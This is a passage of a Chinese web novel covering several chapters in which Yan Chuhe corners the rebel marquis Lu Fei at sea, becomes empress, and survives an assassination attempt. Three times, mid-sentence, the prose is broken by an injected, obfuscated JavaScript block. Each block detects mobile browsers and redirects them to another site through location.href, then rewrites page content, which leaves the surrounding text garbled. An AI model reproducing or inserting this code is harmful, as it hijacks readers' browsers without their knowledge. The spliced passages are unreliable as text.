“难过么?”青年凝视着冰瀑,侧脸在雪光中显得愈发清寂,“楚鹤,若我是一块石头,大概会甘愿顺流而下。历经峡谷的激荡、平湖的沉淀、河口的铺展…最终化为砂砾,归于沧海。”
他一边咳嗽一边笑容如常,好像真的在说和自己全然无关的事情一样:“顺势而行,早些领略过完整旅程。比强留于此被直接冲刷瓦解,被人拿走利用要好的多吧。”
“你又不是石头,”晏楚鹤撇撇嘴,她习惯这人总是扫兴,但还是不愿意看他悲伤寡淡的样子,“想开点,除了停住,和向下,还有别的出路。”
“哦?”青年眉眼微弯,溢出些许兴味,“比如?”
“向上呗。”她答得理所当然。
温润如玉的青年似笑非笑:“你还真是异想天开,石头无足无翅,如何向上?换成鱼鸟还可行一些。”
“外力推动呗。”晏楚鹤有心和他斗嘴,她不喜欢他今天悲伤寡淡的样子,奋力向上一抛——可惜臂力有限,石子只跃起一人高,便划了道短短的弧线落下。
“咳……这便是‘外力’?”青年以袖掩唇,咳声中笑意却更明显了些。
“换个大力士,自然可以,再说,又不止这一种解法,”晏楚鹤不服气,辩解道,“比如——石头自身的变化,你看。”
说着,她又迅疾拾起另一块扁平的青石,掏出随身刻刀,屏息凝神,凭记忆感觉,刀刃飞快游走,不过一会儿就雕出了个不算美观,两头微翘、中间凹陷的流畅曲面。
她将这块石头小心翼翼,调整角度放回水中,因那特殊的结构,石头竟在水中颤巍巍地向上颠簸了一会儿,这才不甘愿地顺着水势滑落。
“又失败了?”身后传来青年含笑的嗓音,不带任何奚落,只是早有预料的淡定,以及突然变化的柔软,“楚鹤,如果是你的话,一定会成功的。”
“那是,我再试试,你看这块怎——”晏楚鹤边应声,边兴致勃勃地回头,
一片空白,
梦境戛然而止。
——
帐外风声渐歇,谢飞藿的声音将她的思绪拽回:“殿下,您只歇了一炷香,可是身体不适?还是,又入梦了?”
晏楚鹤从谢飞藿手中取走帕子,自己抬手拭去额间冷汗:“不是,只是想起了十五岁时做过的仙游梦。”
“啊,昔游姑娘叮嘱过这种情况的——”谢飞藿倒是十分激动,吩咐完下人配药,又忙问道,“殿下,可是先帝,或者其他祖辈托梦?可有提供什么破敌之策。”
“……嗯,”晏楚鹤露出回忆的神情,“……梦中人提醒了我,尽快除掉路斐。”
谢飞藿眼睛一亮,用力点头:“臣明白!殿下,前军已出淮南地界,眼下可还要继续放慢速度?”
“照旧。”
是了,在快速拿下淮南后,晏楚鹤刻意放缓了步伐,重新向东南逼去,声势极其浩大,这一切的目的都在于营造她需要的压迫。形式上,心理上,对东南的压迫。
她想要尽可能没有伤亡地解决这一切。
“路斐绝非坐以待毙之人,此刻必然也在思考、防范。”
“公主既然送了那封信,他极有可能在我们路上埋伏……”
下属们就着舆图讨论着路斐的下一步,晏楚鹤第一个想到的是拆穿她身份这一招……那人做不到,也没人会相信他。
这件事成了他用不出的杀招,他们俩人之间共有的秘密。
思来想去,众人最后推了沈师爷的谏议,晏楚鹤于次日一早亲下诏书,传令兵们抢着先机,诏令内容传得东南边城人尽皆知。
宥国公主要同武昌侯路斐议和,条件极其宽厚,允他保留封号与部分私人财产。其麾下文武官吏,亦是只要诚心归附,一律录用既往不咎。东南诸州百姓更是可以免赋税一年,与民休养。
她帐中所有人都对此计极为赞同,路斐本就声名狼藉,此诏一出,更是将他逼至悬崖。
若他拒绝这样丰厚的条件,便是存心要挑拨战争的艰恶小人。连晏楚鹤本人在这样的氛围下,都开始畅想另一个结局,若路斐就此认输,倒也不错。
最初知晓真相时的愤怒已被更复杂的情绪取代……大概是怅惘吧?她太了解他了。
他绝对不会同意。
——
“侯爷,公主大军压境却按兵不动,如今又递来如此优厚的和议,我们为何不顺势而为?”“是啊,这和您的初衷没区别,公主先前定是受了小人蒙蔽,眼下这才是回心转意,在向您示好啊!”
路斐斜靠在椅子上,目光缓缓扫过堂下众人,有真心劝谏的,有飘忽不定的,亦有沉静观望的:“优厚?诸位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061995|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是真的看不出?”
他声音不高,语气算得上似笑非笑,但那份怒意几乎难以掩饰:“就谈录用各位这一条。诏书只提了既往不咎,对于其他模糊其辞,留用还是闲置?不过他人随意安排。”
“再说一年免税,不过杯水车薪,却是把我们在东南推行的新政税法全都搁置。一年后,一切回归原样,苛捐杂税依旧存在,那时再有人革新,也与我们无关了……这让人如何心甘情愿?”
“……她如今陈兵于边境,与其说是劝降,不如说是威慑。”路斐冷笑一声,终止了对话。
下属们难得见他说这么多话,虽觉得诧异,但确实皆被说服,依令退下部署。堂内再次空寂。
路斐未说出口的计量还有很多。
诏令中针对他本人的——所谓“保留私财”,自然是不包括那些盐场、茶山。而断了这些进项,坐吃山空,届时他的生死荣辱,全系于晏楚鹤的念想。
所谓议和?投降?其实就是在众目睽睽之下,他彻底交出兵权,摇尾乞怜,换取一个有名无实的爵位和看似安全的囚笼。
想到那个可能性,他只觉得狼狈至极……他路斐走到今日,哪怕是最狼狈的时候也没有将自己的命运,全权交到别人手中。
与其什么都没有地活着,他宁可这样铤而走险。
燥热,许是躺得太久,猛一起身竟有些晕眩。下属们见他面色不豫,早已悄然退尽。他只得自己扶着椅背,慢腾腾地挪到窗前。
夜风涌进来,带着海潮的腥气,清凉无法扶贫心中的愁绪,却在脸颊上掠过一丝冰凉的湿意。
是沙子迷了眼吧。他随手抹去。
可那湿意竟顽固地渗出来,沿着相同的轨迹,又一次滑落。
他……在哭?
为什么?方才他不是把一切利害得失都分析了?骄傲,不甘,不肯屈服……这些理由足够坚硬,足够支撑他做出决断。
本该是这么简单才对。
明明从前有着共同的理想……他的一切偏激、不择手段的罪孽,自始至终都是为了新的世界。晏楚鹤是最佳的同行者——他想起自己曾在她面前,坦然承认时,她眼中有痛惜,有挣扎,唯独没有唾弃。
现在想想,那或许只是……她对着这张与亡父相似的脸,所能给予的、最大限度的容忍。
她不懂。她从来就没懂过。
而他,他一生都在算计、交易、衡量,在关键时刻将自己的感情和忠诚作为最大的投资,押注在晏楚鹤身上。他一度以为自己获得了理解。是啊,她曾经说理解他,现在却要圈养他。
……
自己设下的赌局,彻底失败。
共同的理想遭到背叛。
全然的理解已然幻灭。
不想低头。
他不想承认这些是事实。
或许,赌局可以输,理想可以被背叛,理解可以是幻影,
但有些东西就是难以被磨损、替代,
胸腔起伏的酸楚,此刻不受控的湿意,脑海中挥之不去的影子……
想到她时激起的不是怒火,而是绵密的懊悔、眷念、钝痛。
……何其荒谬。
他居然还喜欢着晏楚鹤。
40. 莫恨少龙媒
展开路斐遣使送来的文书,晏楚鹤目光沉凝,眉头紧蹙。
“殿下,”谢飞藿上前一步,声音压低,“路斐的人还在外等候,说是要细化诏书条款,像是他的私产如何分割、各州贡赋具体数目,林林总总,共列了十七八项细则。还要求向各州发文征询,着实麻烦。
晏楚鹤点了点头,抬眼看向一旁:“诸位怎么看?”
梁裁素来负责管理钱财户籍,此刻和晏楚鹤对上眼神,面色也不算好,她答道:“回殿下,每一项要求,单看皆在情理之中……只是,将这些事项逐一议定、文书往来、各地反馈,再快也需一月以上。他在拖时间。”
“老夫正是想不通此节,”庞老人抚须摇头,“大军压境,内无强援,拖延时日只会让他麾下那些本就各怀心思的势力更快分崩离析。路斐岂会自陷绝境?
想来,必是另有图谋。”
是啊,晏楚鹤对二人说辞皆是认同,路斐如今看似消极固守准备投降,实则以退为进。她的目光移向帐外,夜色沉沉,远处泉州城的轮廓在黑暗中隐约可见,城内此刻是何光景?百姓如何?他们不出兵难以得知。
“……传令,”晏楚鹤的声音清晰冷静,打破帐中凝滞,“严密监视城外动向,尤其是夜间物资转运调动,等候讯息。”
她在等待可能的眼线提供信息。
沈昱不解,道:“殿下,东南一带,先前和我们有联系的人,依路斐的手段,此刻恐怕大多已被控制或监视。殿下难道还有什么暗桩?”
暗桩?晏楚鹤当然知道,自己做春州太守的小姨会被监控住,不过,明确和她是敌人的林锵不会。这位被路斐利用大半辈子的春州司马,兴许会抓住这次机会。
路斐麾下龙蛇混杂,前蜀叛将、燕王旧部、地方豪强……从来就不是铁板一块,会漏风的地方太多,而晏楚鹤有信心。她只需要时间,等待播下的种子,可能的叛逆。
他防无可防。
与此同时,
路斐官邸,烛火摇曳,映照着他没什么表情的脸。几封刚刚截获、墨迹未干的密信摊在桌上。
他手下从来就不缺不安分的人,乱世之中恐慌和算计往往能催生出许多变数。他自然得牢牢控制住。再说,真正有能力、有渠道将消息准确无误递到晏楚鹤眼前的,不过寥寥,把这些控制住就行了。
比如晏楚鹤那位小姨,又比如进来动作频频的林司马,燕王手下和她有故交的谋士季收,还有这位——他的目光落在被押解进来的女子,她身量极高,功夫扎实,能与五六名好手缠斗不落下风,招式狠辣,是真真从战场上杀出来的好手。
吴滢,从前名门吴家的独子,少年将军,和王大将军一起死于几年前夏国和吐蕃的交战。
没人知道的是,这吴滢并未战死,反而因为对夏国心灰意冷选择叛国投敌,又被燕王手下不慎放走。这是从前他和晏楚鹤关系亲近时,晏楚鹤亲口告诉他的……这也算信任吧。
路斐移开视线,转向吴滢身上搜到的信。她流落到东南,被路斐发掘、任命,对于东南边防极为清楚。果然,背叛过一次的人可以轻而易举地作出第二次背叛。
路斐对她的身份满意,不介意为她作出第三次背叛……他也是无奈。
此刻绝非硬碰硬的时机。
晏楚鹤确实把他逼到了绝路,名分,实力,她皆是占上风。不谈能不能打过,周围那些节度使,哪一个不是在坐山观虎斗。东南一隅太小了,根基未深,他无法承受选择带来的风险。
晏楚鹤留给他的路只有离开这一条。
既然要走,他也得多回赠晏楚鹤一些临别礼物。
——
今夜,帐中烛火通明,晏楚鹤毫无睡意,思绪在盘旋,若她是自己熟识的那几位,要想递交信息,该如何绕过路斐的天罗地网?
而她现在收到的信件,多半来自城内对路斐心怀怨怼却与她素无瓜葛的士民。他们将所见所闻寄托于信鸽,任其盲目飞向城外。传递的信息因此极为混乱,真真假假自相矛盾,必然有路斐放出的假消息混在其中。
面对这种情况,沈昱却是极为自信,他正带着几个细心文吏,就着灯火仔细检查,想从墨色纸张那些细节推断出真假。晏楚鹤随意翻着,本不抱什么希望,却忽地眼前一亮。
“沈昱,不用忙了。”
沈昱愕然抬头,却见晏楚鹤已拈起其中一封,神色似乎极为自信。
她相信这封信,信上提到的过往虽然含糊,但是是那年她和吴滢相遇的真人真事。再者,她瞄过一眼吴滢的私印,此刻想来,和信上别无二致。
吴滢竟会在此地,还在路斐麾下?这实在出乎意料。晏楚鹤没把吴滢也会被路斐发现的可能性放在心上,转而专注于信上内容,随即——整顿军师,子夜突袭。
……
几乎没有任何阻挡,大军浩浩荡荡闯入,无人防守,所有商铺门户紧闭,民众们被惊醒,却都不敢出门查看情况。
官邸也一样,大门虚掩,内里一片混乱,码头空空如也,只剩下海水拍打石岸的回响。
空城。
路斐撤走了全部水师舰船、囤积的军械甲胄粮草,更带走了大量的工匠水手、以及忠于他的核心部曲。
他留给晏楚鹤的不止于此。
很快,东南各州急报纷至沓来——路斐在撤离前向各地豪强大族广发文书,公然允许其私募乡勇,暂行自治。这意味着,原本只需要传下檄文就可以平定的州郡,如今变得梗阻重重。
接下来的通行将会举步维艰……路斐这一手果然阴损。
“殿下,”莫少隆已将整座城扫视一番,适时提醒,“我军耗在这里已久,粮草日耗甚巨。北边节度使怕是要动心思了!”
“回营。”
被耍了的羞愤,看着满地自治州的烦躁,意识到这场仗还要打很久的焦虑。帐内气氛凝重,下属们有不满的,如庞老人:“哼!那路斐小儿,此刻怕已在海上逍遥,不知在哪个化外之地做起土皇帝美梦了!”
也有为晏楚鹤操心的,如沈昱,他有意缓和氛围:“待日后殿下廓清四海,说不得还要遣使出海,那路斐在荒岛能有什么作为,估计还得送子嗣来和亲呢!”
几声干涩的附和响起,空气开始出现流动。是啊,如今局面虽然麻烦,但对于这些前朝将领来说算不上绝境。
路斐居然跑得这么干脆,港口几乎没留下什么痕迹,他们至少走了一两个时辰,茫茫大海,方向不明,追无可追。
港口的痕迹,似乎以及走了一个时辰,不知道方向根本没法子追——晏楚鹤深吸一口气,挺直脊背,将思绪拉回眼前,烂摊子在前,她最好迅速收拾干净。
“梁夫人,”她率先点名,“立刻核算各州往年赋税底账,现况,挑肥肉先下手。”
“庞老,以我的名义起草檄文,申明我军法度,严厉斥责割据自治之人,放出消息,就说路斐已死,残部仍在遁逃。”
“殿下英明。”“老夫必定传得沸沸扬扬,叫人不敢不相信,以儆效尤。”
“去吧,飞藿,”她目光转向骑马最厉害的下属,“点五千精骑,北上,河东节度使的人估计已经到我们后方了,你去给他们点颜色看看,不必恋战。”
一连串命令下去,帐中气氛为之一振,接下来要处理的很麻烦,大军主力最好呆在这里直到东南平定。
再说,此时若大张旗鼓追索路斐,无异于打草惊蛇。
路斐逃跑的方向,她也没什么头绪。晏楚鹤看着海图,回忆自己平生所学。
南下南洋?乘大船借季风南下,抵达吕宋、爪哇乃至更遥远的彼岸,航程远风险高,一旦成功却是真正海阔天空,足以割据一方,建立基业。结合路斐的作风,是下属们认为最可能的路线。东渡扶桑或琉球倒是有确切的路线,不过,语言文化不通,估计难以真正立足生根……
他未必真的会远走高飞,比如,西去岭南。沿东南海岸线向西,在岭南沿海的复杂港湾、隐秘岛屿处登陆。那边地形复杂,隐蔽,进退灵活,可能性也不低……
到底会是哪里,
会不会根本没走,他只是放出渡海的假象,让下属出海,自己则是连夜出城。
还是说,
反向北行,冒险前往北地,虽说不仅要面对海上风险,还要面对当地节度使。但若成功,恐怕能将水再搅一通。
晏楚鹤将种种可能逐一写下,思路渐次清晰。
停留,顺流而下,逆流而上。他父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066291|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是顺流而下的人——
“公主,您意下如何?若真要追,能动用的人手……恐怕只能与他带走的数量相当,甚至更少。”
“无妨,想办法调集最快的船——莫将军,你随我北上。”
——
数日后,
海风卷着咸腥,路斐立在船头,目光沉沉。船队不敢有片刻松懈,全速前进。
“侯爷!后方有船!是、是宥国大旗!”瞭望水手的声音带着惊惶,撕裂了海风的呜咽。
路斐倏然回身,疾步走向船尾。目光穿过翻涌的浪涛,果然隐隐看见——一瞬间,又是那股极其复杂、近乎荒谬的情绪冒出来。
她竟然真的追来了。
她洞悉了他的思路,预判了他的选择,大概是连日不眠不休换马狂奔,走陆路到北地,再换船出海反向拦截。只要明确方向,他大队人马行动并不难找。
……这世上,大概没有别人能猜透他那些曲折的心思,预判他选择的路径。
眼下,明明知道自己大概率深处两面包围的险境,他居然感受到不合时宜的……暖意。
“侯爷!小心!”一旁的下属阿顺可没他这么多心思,眼见追兵渐近,脸色煞白,猛地扑过来将他按倒在船舷后的掩体处,同时嘶声指挥者甲板上的众人。
意料中的箭雨并未如期而至。
晏楚鹤的船队清一色是小船,它们灵巧地穿插切入,奋力抛射出大量粗重渔网和缆索,目标明确——缠绕船桨,破坏尾舵,瘫痪动力。
还没有结束,不能坐以待毙。
路斐赶到舵前,掌心传来的沉重触感,让他纷乱的心神奇异地一定。这艘船是他精挑细选的心血,设计精巧,关键时刻可以通过弃置夹层的货物提速。
“护住侯爷!”几名贴身护卫嘶吼着扑来,用身体和盾牌在他周围筑起一道屏障,他们要应对零星射来的抛索。
路斐对周围的一切充耳不闻,全部心神都灌注在手中舵轮与前方海况上。他必须让这艘船再快一点,转向再灵活一点,只要能更接近晏楚鹤所在,擒贼先擒王,就有转机。
越着急越容易出错,异变陡生。甲板上不知何时泼开的油脂混着雨水一片滑腻,开的油脂混合着雨水,他正欲发力踏稳,脚底却变得如同抹了冰。加上,老天存心作对,毫无征兆的巨浪突起,路斐只觉脚底一空,重心在瞬间背叛了他,整个人被惯性狠狠甩向船舷外。
惊呼随着海浪声四起。
一直冷眼督战的晏楚鹤愣在原地,心头猛地一撞,手比脑子先一步,向身后引弓待发的弩手打出制止手势。
他此刻的模样确实狼狈到了极点,虽然抓住了桅杆,但半个身子挂在船外,身下是怒吼的巨浪。她其实见过他更狼狈的时候,为什么……
电光石火的分神足以改变战局。
路斐死死抓住身旁的缆绳,借着缆绳摆荡与部下的掩护稳稳落地,角度出乎意料——宥军的拦截慢了一瞬,晏楚鹤自己为了看清跑到船只边沿,反应过来时,只觉脖颈一凉。
锋利的短刃紧贴着皮肤,身后传来沉重而灼热的呼吸,混杂着海风的咸涩、血腥。
“你对我还真是不设防。”他的声音贴着她耳廓响起,带着粗喘与疲惫。
“……原话奉还给你。”
话音未落,晏楚鹤迅速拿出药粉……真正不设防的另有其人。
她轻松接住身后倒下的青年:“不要恨我。你从一开始就在利用我,不是吗?”
她顿了顿,声音压低,状似不经意随口道:“……你还骗我说你父亲不会雕刻。”
雕刻?
这和他父亲会不会雕刻有什么关系……路斐将昏迷的思维变得茫然。他设想过无数种她翻脸的原因:晏楚鹤去长安发现了他的过去,又或者是受人挑拨,还有发现他父亲有多优秀……这个问题已经没有意义了。
无论怎样,晏楚鹤最终选择不再相信他,这是事实。
强烈的眩晕感伴随着四肢力气的飞速抽离,短刃从指间划过,是不是致命的毒药已经无所谓了。
……被她找到的结局也挺好的,至少说明她在意他。
其他的也不重要了,
他的初衷,她一定会替天下人实现的。
41. 商山议得失
追到路斐后,晏楚鹤势头愈盛,接连拿下数十州,声势浩大,捷报频传,各方节度使审时度势,相继遣使奉表,归附称臣。
登基,看似水到渠成,实则也确无太大风波。
蜀地前朝遗老多年经营,加上她复辟前期苦心经营,基础打得牢固。而天下百姓饱经战乱,早已厌弃烽火,见她兵不血刃收复东南,民心自然向往。大势所趋,其余诸侯除了俯首称臣,已别无选择。
准确来说,天下权柄的明争暂告段落,另一场暗处较量,此刻刚刚拉开序幕。
臣服于她的人面上恭敬,心底各有算盘。他们承认她是皇帝,却始终对女子有着根深蒂固的旧观念。女皇帝在他们眼中似乎和幼童没什么区别,是可以轻松拿捏的。本就势大的河东节度使也好,盘踞长安、铲除不尽的世家大族如此也罢,就连出身前朝曾一并奋战的旧臣,相识多年的刘霜清也作出同样的举动——自她登基那日起,后宫便在各方殷切关怀下,迅速被充实起来。“早定后位”的奏折亦是从未停歇。
各家精心遴选的儿郎子侄、乃至容貌出众的寒门才俊,他们被以各种名目送入宫中,或俊朗,或儒雅,或英武,眼里带着如出一辙的野心与衡量,好像他们不是入宫作侍郎,而是在争夺关乎国本的大事一样。
那些人似乎以为谁能占据她枕边正位,谁能让她诞下血脉,谁便能间接执掌这大宥江山。
……真是把她这个皇帝当空气。
晏楚鹤对这些事情相当无语,不过,她在夏宫待过半年,见过女人被逼得互相厮杀,也见过本是死敌的女子在有机会出宫时惺惺相惜。
她开始好奇,将这些自视甚高、心怀鬼胎的男人扔进同一个华丽的囚笼里,会有同样的情境吗。
——
一个月后,长安,太医院,
十四岁的林药官是宫里最年轻的医女之一,她是最早那批女学毕业的学生,被刘霜清塞到宫里,眼下正跟在谢昔游身边做学徒,平日里少不了跑腿的工作。这天,她怀里抱着一摞方子,在药柜间穿梭不停。
“小林,不急。”一道平和的声音唤住了她。说话的正是谢昔游,她如今虽领太医院院判之职,却仍是一身素净道袍,面纱轻掩,只露出一双沉静的眼。晏楚鹤也由着她。
虽说如此,在小林心中,自己这位谢老师是仅次于当今陛下的神仙人物。她还记得几年前还是夏朝时,楚御史都为显露头角的时候,普天之下,谁能想象女子也能站在那样的高处。
她那时在饥荒年间饿得眼冒金星,第一次偷饼子就被人逮住,再被父母卖给贵妃换钱。哎,她那时哭了好久,以为这辈子就完蛋了。而如今,她竟能坐在这里,跟着谢老师辨识百草,虽忙碌,手里捧着的却是实打实的生计。
现在想想,偷饼固然不对,可若重来一次,她还是会这么做。
“过来歇口气,喝盏茶。又是替那几位侍郎取药?”谢昔游见她累的犯困,笑着招她过去。
“可不是嘛,昔游老师!”小林凑过来,也顾不上喝茶,先吐起苦水,“您说那些侍郎侍君近来是怎么了,一个个跟开屏的孔雀似的。陛下明明说了自己征战多年,需要静养,一年之内没有进后宫的打算,”
小林话里有抱怨有不解,也有些年轻的怜悯:“是药三分毒,总这么补哪是办法?还不如多练练呢。我原以为只是这样,等我去的多了,自己进他们宫里,那才是大开眼界。”
“哦?怎么了?”
“简直是无所不用至极,”小林压低了声音,语气又是压不住的惊讶,“西宫那位郎君一天到晚用细线拉着眼角,我从来没见过有人无论做什么都要拉着脸,说说这样眼神才明亮含情,陛下见了必定喜欢——连吃饭睡觉都绷着!诸如此类的美容手段实在吓人!”
“还有听说陛下欣赏雕工,便满宫寻好木料、好刻刀的,尚功局这几日被烦得不行。最吓人的是乱服丹药,咱们太医院的方子他们嫌温吞,私下竟寻些民间虎狼之药……依我看,这些人被关久了,都有些失心疯了。”
“不仅如此,各宫之间也不消停,你害我、我算你,好不消停。幸亏梁大人管得严,还没闹出人命,可沈神探三天两头被请进来查案也辛苦……最忙乱的还不是我们这些底下人”
谢昔游倒是觉得的有趣:“以往只见过女妃争宠,争奇斗艳,惨案连连,让人感慨万艳同悲,今日听你说,原来男人被困于宫中也是一样的。”
“昔游老师说得……好像亲眼见过似的!”小林睁大眼,“可情形真就这么回事,有时候看着,竟也觉得有些可怜。”
“我只是在话本上,戏台子上见过罢了,”谢昔游笑着看向自己这个心思单纯的学生,“林丫头,你该说的都说了,且把多余的同情心收一收。这才哪儿到哪儿?他们入宫不过月余,前朝多少女子困锁一生,莫着急。”
小林听老师这般说,也觉得有理——横竖是那些人自己折腾,受累的凭什么是她们这些宫人。她心态稍平,索性也坐下来歇脚,顺手又把那叠方子拿出来理了理。
谢昔游一顿,疑惑道:“今日的药未免太多了。”
小林边收拾边道:“似乎是陛下开先例了,让各位侍郎瞧见些盼头了。”
谢飞藿:“我都没听说过,你消息倒是灵通。”
“是流霞殿的窦贵君跟前人说的,”小林忙道,“他亲眼瞧见陛下的仪驾往未央宫那边去了。”
谢昔游露出思索的神情,
未央宫?
——
未央宫外,大雪初霁。阖宫内因宫人有限还未清扫,一副银装素裹的样子,雪中看远处假山,皓然一色,叫人心旷神怡,商山雪霁大概不过如此。
晏楚鹤披着一身明黄常服,发髻上不求繁琐,在外形上,相比以往的帝王少了几分厚重,显得干练清隽,被错认成将军、探花娘子也情有可原。她未在廊下多做停留,径自步入殿内。
床榻上的男子正静静望着窗外雪景,闻声亦未回头。
晏楚鹤开门见山:“刚登基,未曾想会这般忙碌,以至于拖到现在才来料理你我之间的事。”
病榻上的人动弹不得,面色虽不佳,神态间仍旧有几分少年意气的影子,一双桃花眼澄澈,明朗,和他父亲毫不相像:“能留住性命,臣已感激不尽,岂敢怪罪陛下。”
啧,晏楚鹤看着他,分不清是阴阳怪气还是真心实意:“对外头,路斐已经是‘死人’,但知道真相,见过你的人太多,都催着我做个决断。我这才不得不来。”
路斐讥讽“我就说,陛下怎么会放着那些如花似玉的侍郎不管,来找我这么个病人。”
“你在这里养病,消息倒——”晏楚鹤眉梢微挑,她下意识把路斐当作从前那位眼观六路耳听八方的侯爷,旋即了然,“怎么,那些侍郎来过?”
路斐未答,只将目光轻轻移向一旁小几,是些与这养病之所格格不入的精巧物件。
有意思。
晏楚鹤怔了一下,忽然觉得有些好笑。昔日翻云覆雨的小侯爷,如今也过上了话本子里苦情主人公的生活,这样状似不经意地告诉皇帝自己遭人欺负——晏楚鹤这个皇帝当然要替他出头。她当即叫来下人:“这几日来的侍郎,一律禁足三月,俸禄也罚,罚没的俸禄,”她指了指榻上路斐,“拨来给他用。”
这些日子后宫乌烟瘴气,三天两头就要沈昱进来断案,她处置这类事情已是驾轻就熟,赏罚已经是张口就来,随心所欲了。
路斐见她配合,干脆利落地处置了那些侍郎,不由得轻笑一声,方才紧绷的气氛悄然松动,晏楚鹤正斟酌着如何转入正题,却听他先开了口。
“臣夫多谢陛下。”
“?”晏楚鹤眉头微蹙,瞥他一眼。这人莫不是病中吃错药了。”他略顿了顿,声音低沉清晰了些,“况且,我也确实心悦过你。”
是“心悦过”不是“心悦”,心口像是被这句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069713|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话轻轻撞了一下,这句话代表已经结束了。晏楚鹤有些恍惚,但今日局面会发生,最大推手便是她本人……他如此直白地为那段关系作结,她反而觉得轻松了些。
自海上那次生死交错,她心中说不明的情绪就被暂时压下,如今残留的,是更复杂难辨的东西,恩怨是非,对错模糊,一时难以厘清,不如先搁置,
“……随你怎么说。”她移开目光,神色重归平静,切入正题,“我今日来,是想问你,当时选择让我冒领永宁的身份,你到底是怎样想的。”
“你很适合当皇帝。出身平民,深谙民生疾苦,明白百姓苦痛,加之天资过人,过目不忘,既能慷慨陈词收服人心,也肯蛰伏忍耐,更难得的是……”他看着她,声音平静而笃定,
“你心中有片赤诚之地。我见过你全神贯注雕刻时的样子,那份不掺杂质的喜爱与专注,很罕见。”
晏楚鹤没料到会听到这样一番近乎剖白的话,耳根微热:“……我不是来听你夸我的。事实证明,皇帝的位子并不是只要那样就能做好。变数太多。”
她顿了顿:“这些日子,我总觉得有个人变得生疏。他恐怕已疑心我身份有假。以他的实力,未必没有掀翻我的能耐。”
“你来我这,就是告诉我你在担心这个?他疑心既然如此明显,想来反意已明,那便先下手为强,寻个由头监禁,实在不行杀之。否则就是坐以待毙——你不能死,天下不能再乱了。”
心底模糊的想法被对方干脆利落地说出,晏楚鹤百感交集:“你果然,不会在这种事上纠结。”
“我也纠结过。”路斐看着她,忽然将话题扯回更幽暗的过往,声音低了下去,“你能理解我,对吧?那个时候不一样,我爹和我是二选一,必须死一个的。”
他的试探挑错了时候。
晏楚鹤想笑他,笑出来却是比哭还难看:“那我呢?路明彰,如果我和你之间也这样对立呢?倘若我真的是前朝公主,你大概在第一次见面时就会杀了我吧?”
晏楚鹤同样不择时机地发问,路斐无须回答,答案俩人心知肚明。
他之所以会扶持晏楚鹤,就在于这虚假的身份可以作为把柄。而真正的永宁公主?那是一个全然陌生的变量,将千辛万苦搏来的天下,拱手交给这样一个未知的皇室,无异于一场豪赌。若她是第二个景安帝怎么办?百废待兴的新朝承受不起这样的动荡。
晏楚鹤看着他沉寂的侧脸,忽然觉得一切言语都苍白无力,便转身离去。
不欢而散。
沉郁滞涩的心绪被带到夜晚,晏楚鹤像以往一样拒绝那些自荐枕席的美男,罕见地做了个长梦,正沉溺着,几声异响突然将人惊醒。
外传来血肉撕裂的声音,殿内遍地宫人倒伏,空气中弥漫着一丝极淡的甜腥气,应该是某种药物,她顾不得衣裳单薄,立即翻身跃上房梁。
怎么会这样,护卫呢?谢飞藿他们又在哪?选在今夜,避开她的下属动手,想必是个她先前信得过的人。
是谁如此迫不及待?她分明已竭尽全力周旋平衡……她才登基一月,天下百姓才安宁一个月。
思绪飞转,一群黑衣人已如鬼魅般涌入内殿,动作迅捷整齐,为首之人身形矫健,动作迅速不似常人,看身形是位女子,她没有任何犹豫,竟是直接拿剑向床榻砍去,半点活路不给晏楚鹤留。
梁上的晏楚鹤屏住呼吸,随身的刻刀与毒药包都不在身边——她今日怎会睡得这样沉,若对方熟悉她的习惯,察觉榻上无人,下一步就应该——
还没思考出出路,身后骤然袭来数道尖锐的破风声,随即是箭穿过血肉的声音。
是箭矢,不止一支。
她是什么时候露出破绽。这些人和藏着的弓手毫无交流,他们不需要指挥吗?毫无预兆地放箭,这不是知道她的习惯就能解释的。
晏楚鹤根本来不及躲闪,
但,预想中的剧痛并未到来。
42. 蜀主脱嫌猜
三个时辰前,
有了在洛阳的经历,意识沉浮的瞬间,晏楚鹤就立刻清醒地意识到——是仙游梦。
如今,她对梦境操纵自如,心念微动间,四周空茫的雾霭缓缓退去、继而重新凝聚,化作一间干净明亮的小屋。
日思夜想的人影随之出现。他依旧是那副清逸出尘的模样:“上次没有机会和你好好谈论。”
“是你走得太快了,”晏楚鹤哑然失笑,“不过也确实奇怪,你看起来竟这般年轻,难怪我会认错。这梦,真是神奇。”
她顿了顿,神色认真起来:“那日梦醒后,我查了许多典籍,问过谢昔游,却始终想不明白。现实中的你,路侯,似乎并不认识我。为何我的梦里会有你?且占据如此多的篇幅?”
梦中的青年静默片刻,声音温和:“仙游梦中出现其他人,不外乎两种原因,第一条便是血缘。”
